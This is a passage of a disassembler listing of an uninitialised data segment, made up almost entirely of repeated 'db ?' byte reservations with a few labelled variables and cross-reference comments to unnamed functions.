; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807AC58 dd ? ; DATA XREF: sub_8054E54+1Cw ; sub_8054EC8+44r ... word_807AC5C dw ? ; DATA XREF: sub_80552B0+36w ; sub_80552B0+9Bo unk_807AC5E db ? ; ; DATA XREF: sub_80552B0+46o ; sub_80552B0+88o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807AC6C db ? ; ; DATA XREF: sub_80566A4+6o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807B06C db ? ; ; DATA XREF: sub_805B10C+6o ; sub_805B10C+13o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807B098 db ? ; ; DATA XREF: sub_805B1A8+6o ; sub_805B1A8+13o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_807B0C4 db ? ; ; DATA XREF: sub_805B530+6o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_807B0E0 dd ? ; DATA XREF: sub_805A11C+BFo ; sub_805AF5C+33w ... dword_807B0E4 dd ? ; DATA XREF: sub_805A11C+B7r ; sub_805A11C+123r ... dword_807B0E8 dd ? ; DATA XREF: sub_805A11C+3Ar ; sub_805A11C+A0r db ? ; db ? ; db ? ; db ? ; dword_807B0F0 dd ? ; DATA XREF: sub_805B048+33r db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db 